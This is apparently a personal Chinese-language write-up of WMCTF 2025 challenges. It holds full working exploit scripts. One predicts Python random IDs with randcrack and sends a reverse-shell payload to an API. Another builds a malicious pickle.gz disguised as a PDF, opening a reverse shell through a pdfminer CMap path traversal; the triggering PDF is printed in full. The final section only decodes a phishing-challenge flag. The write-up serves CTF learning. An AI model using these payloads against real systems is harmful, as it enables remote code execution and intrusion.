WMCTF 2025 个人题解

25th

image-20251013005206628

WEB

guess

参考文章:https://xz.aliyun.com/news/17384

这里我直接给出我的payload,使用randcrack一把梭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import requests
from randcrack import RandCrack

# 目标URL(根据实际目标修改)
base_url = "http://********:****" # 替换为目标URL

#替换为你自己的服务器地址
lhost="****"
lport=****

# 初始化RandCrack
rc = RandCrack()

# 收集624个随机数通过注册用户(Mersenne Twister需要624个32位值来预测)
for i in range(624):
username = f"user{i}"
password = f"passwd"
data = {
"username": username,
"password": password
}
try:
response = requests.post(f"{base_url}/register", json=data)
if response.status_code == 201:
user_id = response.json()['user_id']
# 将字符串形式的随机数转换为整数
random_int = int(user_id)
rc.submit(random_int)
print(f"Submitted random number {i+1}: {random_int}")
else:
print(f"Failed to register user {i+1}: {response.status_code}")
print(response.text)
# 如果用户名已存在,可以增加索引继续尝试
except Exception as e:
print(f"Error during registration: {e}")
break

# 预测下一个随机数
predicted_int = rc.predict_getrandbits(32)
# 将预测的整数转换为字符串,与API期望的格式匹配
predicted_str = str(predicted_int)
print(f"Predicted next random number: {predicted_str}")

# 登录获取会话(如果需要)
login_data = {
"username": "user0", # 使用之前注册的一个用户
"password": "passwd"
}
session = requests.Session()
try:
login_response = session.post(f"{base_url}/login", json=login_data)
if login_response.status_code == 200:
print("Login successful")
else:
print(f"Login failed: {login_response.status_code}")
except Exception as e:
print(f"Error during login: {e}")

payload = f"""
__import__('os').system('python -c \\'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{lhost}",{lport}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\\'')
"""

# 向/api端点发送请求
api_url = f"{base_url}/api"
data = {
"key": predicted_str, # 使用预测的随机数作为key
"payload": payload
}
try:
# 使用会话发送请求(如果需要保持登录状态)
response = session.post(api_url, json=data)
print(f"Response status: {response.status_code}")
print(f"Response text: {response.text}")
except Exception as e:
print(f"Error during API request: {e}")

image-20250923001038124

容器出网,反弹shell成功

image-20250923001347850

pdf2text

分析一下代码,这个web服务逻辑并不复杂

首先验证上传文件是否为pdf

image-20250923002123149

然后进行将pdf文件解析为txt

image-20250923002149115

题目给了hint:注意pickle.loads

搜索了一下pdfminer这个包只有一处地方使用了pickle.loads

image-20250923002333912

此处gzfile = gzip.open(path)如果filename可控可以导致路径穿越

filename = "%s.pickle.gz" % name

下面的get_camp()函数调用了_load_data(),并且传入的name可控

查阅了一下资料,发现可以用/Encoding /xxxx来指定这里CMapname

那么我们构造下面的payload,通过#来转义,类似url编码,以此避免/被错误识别

1
/Encoding /..#2F..#2F..#2F..#2F..#2F..#2F..#2F..#2F..#2F..#2F..#2F..#2Fapp#2Fuploads#2Fexp

接下来我们要绕过pdf检测上传exp.pickle.gz到uploads文件夹

这里我将压缩等级调为0,使得明文能保留在gz压缩包里

image-20250923003402242

生成的exp.pickle.gz效果

image-20250923003509304

pdfminer检测pdf特征出现在文件的任何位置都能通过,而gzip要求文件开头有gzip的特征

生成exp.pickle.gz的EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import pickle
import os


lhost="*****"
lport=****

class Malicious:
def __reduce__(self):
# 返回要执行的函数和参数
sh=f"""whoami > /tmp/whoami; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{lhost}",{lport}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ;\n # #%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R >>
endobj
2 0 obj
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
endobj
3 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R >>
endobj
4 0 obj
<< /Length 44 >>
stream
BT /F1 12 Tf 72 720 Td (Hello World) Tj ET
endstream
endobj
xref
0 5
0000000000 65535 f
0000000010 00000 n
0000000053 00000 n
0000000112 00000 n
0000000204 00000 n
trailer
<< /Size 5 /Root 1 0 R >>
startxref
625
%%EOF"""
return (os.system, (sh, )) # 恶意命令

payload = pickle.dumps(Malicious())
print(payload)
with open('exp.pickle', 'wb') as f:
f.write(payload)

import gzip

with open('exp.pickle', 'rb') as f:
data = f.read()
print(f"data:{data}")
with gzip.open('exp.pickle.gz', 'wb',compresslevel=0) as f:
f.write(data)
#cat simple.pdf exp.gz > exp.pickle.gz


#验证exp.pickle.gz
"""
import gzip
gzfile = gzip.open("exp.pickle.gz")

pickle.loads(gzfile.read())

gzfile.close()
"""

可触发exp.pickle.gz的pdf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
%PDF-1.3
%����
1 0 obj
<<
/Type /Pages
/Count 1
/Kids [ 3 0 R ]
>>
endobj
2 0 obj
<<
/Producer (PyPDF2)
>>
endobj
3 0 obj
<<
/Type /Page
/Parent 1 0 R
/Resources <<
/Font <<
/F1 6 0 R
>>
>>
/MediaBox [ 0 0 612 792 ]
/Contents 7 0 R
>>
endobj
4 0 obj
<<
/Type /FontDescriptor
/FontName /Helvetica
/Flags 4
/FontBBox [ -665 -325 2000 1006 ]
/ItalicAngle 0
/Ascent 770
/Descent -230
/CapHeight 770
/StemV 80
>>
endobj
5 0 obj
<<
/Type /Font
/Subtype /CIDFontType2
/BaseFont /Helvetica
/CIDSystemInfo <<
/Registry <41646f6265>
/Ordering <4964656e74697479>
/Supplement 0
>>
/CMapName /aa
/FontDescriptor 4 0 R
>>
endobj
6 0 obj
<<
/Type /Font
/Subtype /Type0
/BaseFont /Helvetica
/Encoding /..#2F..#2F..#2F..#2F..#2F..#2F..#2F..#2F..#2F..#2F..#2F..#2Fapp#2Fuploads#2Fexp
/DescendantFonts [ 5 0 R ]
>>
endobj
7 0 obj
<<
/Length 58
>>
stream

BT
/F1 24 Tf
50 700 Td
(Test PDF with /V encoding) Tj
ET

endstream
endobj
8 0 obj
<<
/Type /Catalog
/Pages 1 0 R
>>
endobj
xref
0 9
0000000000 65535 f
0000000015 00000 n
0000000074 00000 n
0000000114 00000 n
0000000242 00000 n
0000000415 00000 n
0000000601 00000 n
0000000711 00000 n
0000000819 00000 n
trailer
<<
/Size 9
/Root 8 0 R
/Info 2 0 R
>>
startxref
868
%%EOF

MSIC

phishing email

JS逆向部分不太难,AI梭一下或者自己手动指向一下JS就好,可以获得初步的flag

这里我贴一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import re

# 定义 polymorphicData 中索引 3 到 7 的字符串
data_strings = [
'4oyM4p2h77iP4p2j4oyM4p2d77iL4p2c4oyI4p2g77iN4p2a77iP4p2b4oyL4p2Y',
'4p2Z77iM4p2X77iO4p2W77iM4p2V77iK4p2U77iL4p2T77iM4p2S77iN4p2R',
'4p2Q77iL4p2P77iO4p2O77iM4p2N77iK4p2M77iL4p2L77iM4p2K77iN4p2J',
'4p2I77iL4p2H77iO4p2G77iM4p2F77iK4p2E77iL4p2D77iM4p2C77iN4p2B',
'4p2A77iL4pyx77iO4py977iM4py877iK4py777iL4py677iM4py577iN4py4'
]

# 定义替换映射表(charMap)
char_map = {
'4p2V': 'A', '4p2P': 'D', '4p2F': 'E', '4p2g': 'G', '4p2a': 'P',
'4p2c': 'S', '4oyI': 'V', '4p2T': 'a', '77iP': 'c', '4p2S': 'c',
'4p2L': 'c', '4p2D': 'a', '4p2O': 'e', '4p2M': 'e', '4p2d': 'f',
'77iO': 'g', '4p2b': 'h', '4p2Z': 'h', '4oyL': 'i', '77iM': 'i',
'4p2J': 'i', '4p2B': 'i', '4p2R': 'k', '4p2h': 'm', '4p2X': 'n',
'4p2H': 'n', '4pyx': 'n', '4p2I': 'o', '4p2A': 'o', '4p2C': 's',
'4p2Y': 's', '4p2j': 't', '77iK': 't', '4p2U': 't', '4p2K': 't',
'4p2N': 't', '4p2E': 'v', '4oyM': 'w', '77iL': '{', '4py9': '}',
'77iN': '_', '4p2W': '_', '4p2Q': '_', '4p2G': '_', '4py8': '!',
'4py7': '!', '4py6': '!', '4py5': '!', '4py4': '!'
}


def split_string_by_length(string, length):
return [string[i:i + length] for i in range(0, len(string), length)]

restr=''

for s in data_strings:
split_s= split_string_by_length(s,4)
for sx in split_s:
print(char_map[sx],end='')
#print(char_map[sx]+' : '+sx)
restr+=char_map[sx]

# 正则表达式模式,用于匹配需要替换的序列
print()

得到

1
wmctwf{SVG_Pchishing_iAtt{aic_k_{Dgeitte{cit_io{ng_iEtv{ais_io{ng}i!t!{!i!_!

观察一下,可以发现前面应该是

1
wmctf{SVG_Phishing_ .............

猜测一下,大概是一段有意义的话,并且每个单词首字母都是大写的,并且前面跟着_

而且很可能我们只用删除被填充进来的混淆字符,而没有错误的字符需要更改

且flag最后以}结尾

我们可以获得初步解噪的flag

1
wmctf{SVG_Phishing_Attaick_Dgeittecitiong_Etvaisiong}

找AI嗦一下出flag了

1
wmctf{SVG_Phishing_Attack_Detection_Evasion}